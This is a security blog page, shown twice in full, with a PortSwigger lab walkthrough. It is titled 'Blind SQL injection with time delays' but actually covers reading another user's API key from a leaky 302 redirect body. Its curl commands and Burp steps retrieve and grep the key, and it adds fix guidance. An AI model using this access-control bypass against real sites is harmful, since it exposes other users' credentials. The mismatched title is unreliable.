Security article

Blind SQL injection with time delays

Blind SQL injection with time delays: Obtain carlos’s API key by exploiting an access control flaw where sensitive data is embedded in the body of an HTTP redirect response, then submit the key. • PortSwigger • Blind-SQLi • delay

2022-09-111 tag

🎯 Objective

Obtain carlos’s API key by exploiting an access control flaw where sensitive data is embedded in the body of an HTTP redirect response, then submit the key.

🧭 Scenario (What I’m exploiting)

App leaks user data in the body of a 302/301 response when you request another user’s resource.
Browsers typically follow the redirect and hide the intermediate body, but proxies and tools (Burp, curl) can still see it.
We’ll:
1. Log in as a low-privileged user (wiener:peter),
2. Request carlos’s page,
3. Read the 3xx response body to extract the API key.

🧪 Lab Walkthrough

1) Log in

Username: wiener
Password: peter

2) Target carlos’s endpoint

Try swapping identifiers in a URL or parameter that returns your own API key, for example:

/my-account?id=wiener → change to /my-account?id=carlos
or update any profile/API endpoint to target carlos (user IDs, usernames, or numeric IDs).

Tip: If the UI redirects you away quickly, use Burp Intercept or curl so you can read the intermediate response body.

3) Capture the redirect and its body

With Burp (Proxy → Intercept ON), request carlos:

You’ll see HTTP/1.1 302 Found (or 301/303) with a Location: /login (or similar).
Important: Even though it’s a redirect, the server renders HTML in the body that includes carlos’s API key.

Screenshots (example):

Redirect response exposing data
API key visible in body

4) Do it with curl (no auto-follow)

# Use -i to include headers; curl does NOT follow redirects unless -L
curl -i   -H 'Cookie: session=<YOUR_SESSION_COOKIE>'   'https://TARGET/web-app/my-account?id=carlos'

You expect something like:

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html; charset=utf-8
...

<html>
  <body>
    <h1>Redirecting…</h1>
    <p>API key: 1a2b3c4d5e6f7g8h9i0j</p>
  </body>
</html>

If you used -L (follow redirects), you’d land on /login and won’t see the leaked body. Keep -L off.

5) Submit the key

Copy the API key and submit it in the lab’s solution box.

🧩 Why this works (Root cause)

The endpoint performs an authorization check and issues a redirect (3xx) for unauthorized users.
But it also renders sensitive content into the response body before/while redirecting.
Browsers commonly hide this body by auto-navigation, but the body is still part of the HTTP response and visible to clients that don’t auto-follow (curl, Burp, certain programmatic clients).

📈 Impact

Insecure Direct Object Reference (IDOR) style exposure.
Sensitive data disclosure (API keys, tokens, PII) without needing to bypass the redirect.
Trivially exploitable with standard tooling.

🛡️ How to fix (Defensive guidance)

Do not render sensitive data in any 3xx responses. Send a minimal body or none at all.
Perform authorization before data retrieval/rendering.
For redirects, return only:
- Correct Location header,
- A safe generic body (or empty body).
Add server-side access controls for user-bound resources (check session.user == resource.owner).
Consider a Content Security Policy and robust logging to detect anomalous access attempts.

🧰 Handy Commands & Burp Tips

curl quickies

# 1) Show the leaking 3xx without following:
curl -i -H 'Cookie: session=<COOKIE>' 'https://TARGET/my-account?id=carlos'

# 2) Grep out the key (example regex):
curl -i -H 'Cookie: session=<COOKIE>' 'https://TARGET/my-account?id=carlos' | grep -Eo 'API key[: ]+[A-Za-z0-9_-]+'

# 3) Save raw body:
curl -s -D /tmp/headers.txt -o /tmp/body.html   -H 'Cookie: session=<COOKIE>'   'https://TARGET/my-account?id=carlos'

Burp Suite

Proxy → Intercept: capture the first 3xx, Right‑click → Do Intercept → Response.
Viewer: Raw: scroll the body; copy the API key.
If necessary, disable “Follow redirection” in your client, or send request to Repeater.

✅ Verification Checklist

Can you request carlos while authenticated as wiener?
Do you see a 3xx with Location: ...?
Is carlos’s API key present in the response body of that 3xx?
Submitting the key solves the lab.

📎 Notes & Gotchas

Some frameworks produce a HTML “You are being redirected” page—this may include templated user data. That’s the leak.
If your client auto-follows redirects, you’ll miss the body. Use tools that won’t follow or let you inspect the intermediate response.
Caches or upstream proxies could store leaked bodies—another risk vector.

📚 References

PortSwigger: Access control vulnerabilities (IDOR patterns)
PortSwigger: Leaking sensitive data in redirects
OWASP: Broken Access Control (Top 10)
RFC 7231: Semantics of HTTP (3xx responses)

🧪 Appendix – Sample Raw Traffic

Request

GET /my-account?id=carlos HTTP/1.1
Host: TARGET
Cookie: session=<REDACTED>
User-Agent: Mozilla/5.0 …
Accept: text/html

Response (leaking redirect)

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html; charset=utf-8
Content-Length: 212

<html>
  <head><title>Redirecting…</title></head>
  <body>
    <h1>Redirecting…</h1>
    <!-- Sensitive data mistakenly rendered below -->
    <p>API key: 1a2b3c4d5e6f7g8h9i0j</p>
  </body>
</html>

🧵 TL;DR

Don’t follow the redirect. Read the 3xx body. The API key is right there.

← Back to overview

Security article

Blind SQL injection with time delays

2022-09-111 tag

🎯 Objective

Obtain carlos’s API key by exploiting an access control flaw where sensitive data is embedded in the body of an HTTP redirect response, then submit the key.

🧭 Scenario (What I’m exploiting)

App leaks user data in the body of a 302/301 response when you request another user’s resource.
Browsers typically follow the redirect and hide the intermediate body, but proxies and tools (Burp, curl) can still see it.
We’ll:
1. Log in as a low-privileged user (wiener:peter),
2. Request carlos’s page,
3. Read the 3xx response body to extract the API key.

🧪 Lab Walkthrough

1) Log in

Username: wiener
Password: peter

2) Target carlos’s endpoint

Try swapping identifiers in a URL or parameter that returns your own API key, for example:

/my-account?id=wiener → change to /my-account?id=carlos
or update any profile/API endpoint to target carlos (user IDs, usernames, or numeric IDs).

Tip: If the UI redirects you away quickly, use Burp Intercept or curl so you can read the intermediate response body.

3) Capture the redirect and its body

With Burp (Proxy → Intercept ON), request carlos:

You’ll see HTTP/1.1 302 Found (or 301/303) with a Location: /login (or similar).
Important: Even though it’s a redirect, the server renders HTML in the body that includes carlos’s API key.

Screenshots (example):

Redirect response exposing data
API key visible in body

4) Do it with curl (no auto-follow)

# Use -i to include headers; curl does NOT follow redirects unless -L
curl -i   -H 'Cookie: session=<YOUR_SESSION_COOKIE>'   'https://TARGET/web-app/my-account?id=carlos'

You expect something like:

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html; charset=utf-8
...

<html>
  <body>
    <h1>Redirecting…</h1>
    <p>API key: 1a2b3c4d5e6f7g8h9i0j</p>
  </body>
</html>

If you used -L (follow redirects), you’d land on /login and won’t see the leaked body. Keep -L off.

5) Submit the key

Copy the API key and submit it in the lab’s solution box.

🧩 Why this works (Root cause)

The endpoint performs an authorization check and issues a redirect (3xx) for unauthorized users.
But it also renders sensitive content into the response body before/while redirecting.
Browsers commonly hide this body by auto-navigation, but the body is still part of the HTTP response and visible to clients that don’t auto-follow (curl, Burp, certain programmatic clients).

📈 Impact

Insecure Direct Object Reference (IDOR) style exposure.
Sensitive data disclosure (API keys, tokens, PII) without needing to bypass the redirect.
Trivially exploitable with standard tooling.

🛡️ How to fix (Defensive guidance)

Do not render sensitive data in any 3xx responses. Send a minimal body or none at all.
Perform authorization before data retrieval/rendering.
For redirects, return only:
- Correct Location header,
- A safe generic body (or empty body).
Add server-side access controls for user-bound resources (check session.user == resource.owner).
Consider a Content Security Policy and robust logging to detect anomalous access attempts.

🧰 Handy Commands & Burp Tips

curl quickies

# 1) Show the leaking 3xx without following:
curl -i -H 'Cookie: session=<COOKIE>' 'https://TARGET/my-account?id=carlos'

# 2) Grep out the key (example regex):
curl -i -H 'Cookie: session=<COOKIE>' 'https://TARGET/my-account?id=carlos' | grep -Eo 'API key[: ]+[A-Za-z0-9_-]+'

# 3) Save raw body:
curl -s -D /tmp/headers.txt -o /tmp/body.html   -H 'Cookie: session=<COOKIE>'   'https://TARGET/my-account?id=carlos'

Burp Suite

Proxy → Intercept: capture the first 3xx, Right‑click → Do Intercept → Response.
Viewer: Raw: scroll the body; copy the API key.
If necessary, disable “Follow redirection” in your client, or send request to Repeater.

✅ Verification Checklist

Can you request carlos while authenticated as wiener?
Do you see a 3xx with Location: ...?
Is carlos’s API key present in the response body of that 3xx?
Submitting the key solves the lab.

📎 Notes & Gotchas

Some frameworks produce a HTML “You are being redirected” page—this may include templated user data. That’s the leak.
If your client auto-follows redirects, you’ll miss the body. Use tools that won’t follow or let you inspect the intermediate response.
Caches or upstream proxies could store leaked bodies—another risk vector.

📚 References

PortSwigger: Access control vulnerabilities (IDOR patterns)
PortSwigger: Leaking sensitive data in redirects
OWASP: Broken Access Control (Top 10)
RFC 7231: Semantics of HTTP (3xx responses)

🧪 Appendix – Sample Raw Traffic

Request

GET /my-account?id=carlos HTTP/1.1
Host: TARGET
Cookie: session=<REDACTED>
User-Agent: Mozilla/5.0 …
Accept: text/html

Response (leaking redirect)

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html; charset=utf-8
Content-Length: 212

<html>
  <head><title>Redirecting…</title></head>
  <body>
    <h1>Redirecting…</h1>
    <!-- Sensitive data mistakenly rendered below -->
    <p>API key: 1a2b3c4d5e6f7g8h9i0j</p>
  </body>
</html>

🎯 Objective

🧭 Scenario (What I’m exploiting)

🧪 Lab Walkthrough

1) Log in

2) Target carlos’s endpoint

3) Capture the redirect and its body

4) Do it with curl (no auto-follow)

5) Submit the key

🧩 Why this works (Root cause)

📈 Impact

🛡️ How to fix (Defensive guidance)

🧰 Handy Commands & Burp Tips

curl quickies

Burp Suite

✅ Verification Checklist

📎 Notes & Gotchas

📚 References

🧪 Appendix – Sample Raw Traffic

Request

Response (leaking redirect)

🧵 TL;DR

🎯 Objective

🧭 Scenario (What I’m exploiting)

🧪 Lab Walkthrough

1) Log in

2) Target carlos’s endpoint

3) Capture the redirect and its body

4) Do it with curl (no auto-follow)

5) Submit the key

🧩 Why this works (Root cause)

📈 Impact

🛡️ How to fix (Defensive guidance)

🧰 Handy Commands & Burp Tips

curl quickies

Burp Suite

✅ Verification Checklist

📎 Notes & Gotchas

📚 References

🧪 Appendix – Sample Raw Traffic

Request

Response (leaking redirect)

🧵 TL;DR

Comments

0 comments

Comments

0 comments